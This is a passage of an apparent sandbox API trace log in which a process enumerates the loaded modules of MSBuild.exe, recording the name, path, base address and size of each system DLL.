lpBaseName="wminet_utils.dll") returned 0x10 [0055.282] GetLastError () returned 0x2 [0055.282] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0055.283] GetLastError () returned 0x2 [0055.283] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745b0000, lpmodinfo=0x2655f80, cb=0xc | out: lpmodinfo=0x2655f80*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0055.284] GetLastError () returned 0x2 [0055.284] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0055.285] GetLastError () returned 0x2 [0055.285] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0055.286] GetLastError () returned 0x2 [0055.286] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73a20000, lpmodinfo=0x265707c, cb=0xc | out: lpmodinfo=0x265707c*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0055.286] GetLastError () returned 0x2 [0055.286] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0055.287] GetLastError () returned 0x2 [0055.287] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0055.288] GetLastError () returned 0x2 [0055.288] GetModuleInformation (in: hProcess=0x4e4, hModule=0x72480000, lpmodinfo=0x265825c, cb=0xc | out: lpmodinfo=0x265825c*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0055.289] GetLastError () returned 0x2 [0055.289] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 [0055.290] GetLastError () returned 0x2 [0055.290] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0055.291] GetLastError () returned 0x2 [0055.291] GetModuleInformation (in: hProcess=0x4e4, hModule=0x739c0000, lpmodinfo=0x2659400, cb=0xc | out: lpmodinfo=0x2659400*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0055.292] GetLastError () returned 0x2 [0055.292] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0055.293] GetLastError () returned 0x2 [0055.293] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0055.294] GetLastError () returned 0x2 [0055.294] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74720000, lpmodinfo=0x265a504, cb=0xc | out: lpmodinfo=0x265a504*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0055.295] GetLastError () returned 0x2 [0055.295] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0055.296] GetLastError () returned 0x2 [0055.296] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0055.297] GetLastError () returned 0x2 [0055.297] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74710000, lpmodinfo=0x265b600, cb=0xc | out: lpmodinfo=0x265b600*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0055.298] GetLastError () returned 0x2 [0055.298] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0055.299] GetLastError () returned 0x2 [0055.299] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0055.300] GetLastError () returned 0x2 [0055.300] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73980000, lpmodinfo=0x265c6fc, cb=0xc | out: lpmodinfo=0x265c6fc*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0055.301] GetLastError () returned 0x2 [0055.301] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0055.302] GetLastError () returned 0x2 [0055.302] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0055.303] GetLastError () returned 0x2 [0055.303] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73970000, lpmodinfo=0x265d7f8, cb=0xc | out: lpmodinfo=0x265d7f8*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0055.304] GetLastError () returned 0x2 [0055.304] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0055.305] GetLastError () returned 0x2 [0055.305] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0055.306] GetLastError () returned 0x2 [0055.306] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73960000, lpmodinfo=0x265e8fc, cb=0xc | out: lpmodinfo=0x265e8fc*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0055.307] GetLastError () returned 0x2 [0055.307] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0055.308] GetLastError () returned 0x2 [0055.308] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0055.309] GetLastError () returned 0x2 [0055.309] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736e0000, lpmodinfo=0x265f9f8, cb=0xc | out: lpmodinfo=0x265f9f8*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0055.310] GetLastError () returned 0x2 [0055.310] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0055.311] GetLastError () returned 0x2 [0055.311] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0055.312] GetLastError () returned 0x2 [0055.312] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73910000, lpmodinfo=0x2660af4, cb=0xc | out: lpmodinfo=0x2660af4*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0055.313] GetLastError () returned 0x2 [0055.313] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0055.314] GetLastError () returned 0x2 [0055.314] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0055.315] GetLastError () returned 0x2 [0055.315] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736c0000, lpmodinfo=0x2661be8, cb=0xc | out: lpmodinfo=0x2661be8*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0055.316] GetLastError () returned 0x2 [0055.316] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0055.317] GetLastError () returned 0x2 [0055.317] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0055.318] GetLastError () returned 0x2 [0055.318] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736b0000, lpmodinfo=0x2662cec, cb=0xc | out: lpmodinfo=0x2662cec*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0055.319] GetLastError () returned 0x2 [0055.319] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0055.320] GetLastError () returned 0x2 [0055.320] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0055.322] GetLastError () returned 0x2 [0055.322] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736a0000, lpmodinfo=0x2663ff8, cb=0xc | out: lpmodinfo=0x2663ff8*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0055.323] GetLastError () returned 0x2 [0055.323] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0055.324] GetLastError () returned 0x2 [0055.324] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0055.325] GetLastError () returned 0x2 [0055.325] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73680000, lpmodinfo=0x26650fc, cb=0xc | out: lpmodinfo=0x26650fc*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0055.326] GetLastError () returned 0x2 [0055.326] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0055.327] GetLastError () returned 0x2 [0055.327] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0055.328] GetLastError () returned 0x2 [0055.328] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73670000, lpmodinfo=0x2666200, cb=0xc | out: lpmodinfo=0x2666200*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0055.329] GetLastError () returned 0x2 [0055.329] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0055.330] GetLastError () returned 0x2 [0055.330] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0055.332] GetLastError () returned 0x2 [0055.332] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d00000, lpmodinfo=0x26672fc, cb=0xc | out: lpmodinfo=0x26672fc*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0055.333] GetLastError () returned 0x2 [0055.333] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0055.334] GetLastError () returned 0x2 [0055.334] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0055.335] GetLastError () returned 0x2 [0055.335] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73620000, lpmodinfo=0x2668400, cb=0xc | out: lpmodinfo=0x2668400*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0055.336] GetLastError () returned 0x2 [0055.336] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0055.337] GetLastError () returned 0x2 [0055.337] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0055.338] GetLastError () returned 0x2 [0055.338] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73610000, lpmodinfo=0x26694fc, cb=0xc | out: lpmodinfo=0x26694fc*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0055.340] GetLastError () returned 0x2 [0055.340] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0055.341] GetLastError () returned 0x2 [0055.341] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0055.342] GetLastError () returned 0x2 [0055.342] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735d0000, lpmodinfo=0x266a600, cb=0xc | out: lpmodinfo=0x266a600*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0055.343] GetLastError () returned 0x2 [0055.343] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0055.344] GetLastError () returned 0x2 [0055.344] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0055.345] GetLastError () returned 0x2 [0055.345] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735c0000, lpmodinfo=0x266b704, cb=0xc | out: lpmodinfo=0x266b704*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0055.347] GetLastError () returned 0x2 [0055.347] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0055.348] GetLastError () returned 0x2 [0055.348] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0055.349] GetLastError () returned 0x2 [0055.349] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75140000, lpmodinfo=0x266c808, cb=0xc | out: lpmodinfo=0x266c808*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0055.350] GetLastError () returned 0x2 [0055.350] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0055.351] GetLastError () returned 0x2 [0055.351] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0055.353] GetLastError () returned 0x2 [0055.361] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x268ca68, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x268ca68, lpcbNeeded=0x26e998) returned 1 [0055.363] GetLastError () returned 0x2 [0055.363] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x268cb74, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x268cb74, lpcbNeeded=0x26e998) returned 1 [0055.364] GetLastError () returned 0x2 [0055.364] GetModuleInformation (in: hProcess=0x4e4, hModule=0x400000, lpmodinfo=0x268cdb4, cb=0xc | out: lpmodinfo=0x268cdb4*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0055.364] GetLastError () returned 0x2 [0055.365] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0055.365] GetLastError () returned 0x2 [0055.365] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0055.365] GetLastError () returned 0x2 [0055.365] GetModuleInformation (in: hProcess=0x4e4, hModule=0x77130000, lpmodinfo=0x268df04, cb=0xc | out: lpmodinfo=0x268df04*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0055.365] GetLastError () returned 0x2 [0055.365] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0055.365] GetLastError () returned 0x2 [0055.365] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0055.365] GetLastError () returned 0x2 [0055.365] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74b20000, lpmodinfo=0x268eff8, cb=0xc | out: lpmodinfo=0x268eff8*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0055.366] GetLastError () returned 0x2 [0055.366] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0055.366] GetLastError () returned 0x2 [0055.366] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0055.366] GetLastError () returned 0x2 [0055.366] GetModuleInformation (in: hProcess=0x4e4, hModule=0x76c20000, lpmodinfo=0x26900f4, cb=0xc | out: lpmodinfo=0x26900f4*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0055.366] GetLastError () returned 0x2 [0055.366] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0055.366] GetLastError () returned 0x2 [0055.366] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0055.367] GetLastError () returned 0x2 [0055.367] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75960000, lpmodinfo=0x26911f8, cb=0xc | out: lpmodinfo=0x26911f8*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0055.367] GetLastError () returned 0x2 [0055.367] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0055.367] GetLastError () returned 0x2 [0055.367] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0055.367] GetLastError () returned 0x2 [0055.367] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d40000, lpmodinfo=0x2692334, cb=0xc | out: lpmodinfo=0x2692334*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0055.367] GetLastError () returned 0x2 [0055.367] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0055.368] GetLastError () returned 0x2 [0055.368] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0055.368] GetLastError () returned 0x2 [0055.368] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74e10000, lpmodinfo=0x2693438, cb=0xc | out: lpmodinfo=0x2693438*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0055.368] GetLastError () returned 0x2 [0055.368] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0055.368] GetLastError () returned 0x2 [0055.368] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0055.369] GetLastError () returned 0x2 [0055.369] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75740000, lpmodinfo=0x2694534, cb=0xc | out: lpmodinfo=0x2694534*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0055.369] GetLastError () returned 0x2 [0055.369] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0055.369] GetLastError () returned 0x2 [0055.369] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0055.369] GetLastError () returned 0x2 [0055.369] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ee0000, lpmodinfo=0x2695630, cb=0xc | out: lpmodinfo=0x2695630*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0055.370] GetLastError () returned 0x2 [0055.370] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0055.370] GetLastError () returned 0x2 [0055.370] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0055.370] GetLastError () returned 0x2 [0055.370] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c90000, lpmodinfo=0x269677c, cb=0xc | out: lpmodinfo=0x269677c*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0055.370] GetLastError () returned 0x2 [0055.370] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0055.371] GetLastError () returned 0x2 [0055.371] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0055.371] GetLastError () returned 0x2 [0055.371] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c80000, lpmodinfo=0x2697878, cb=0xc | out: lpmodinfo=0x2697878*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0055.371] GetLastError () returned 0x2 [0055.371] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0055.372] GetLastError () returned 0x2 [0055.372] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0055.372] GetLastError () returned 0x2 [0055.372] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74aa0000, lpmodinfo=0x269897c, cb=0xc | out: lpmodinfo=0x269897c*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0055.372] GetLastError () returned 0x2 [0055.372] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0055.372] GetLastError () returned 0x2 [0055.373] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0055.373] GetLastError () returned 0x2 [0055.373] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75340000, lpmodinfo=0x2699ab4, cb=0xc | out: lpmodinfo=0x2699ab4*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0055.373] GetLastError () returned 0x2 [0055.373] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0055.373] GetLastError () returned 0x2 [0055.374] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0055.374] GetLastError () returned 0x2 [0055.374] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ad0000, lpmodinfo=0x269abb0, cb=0xc | out: lpmodinfo=0x269abb0*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0055.374] GetLastError () returned 0x2 [0055.374] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0055.374] 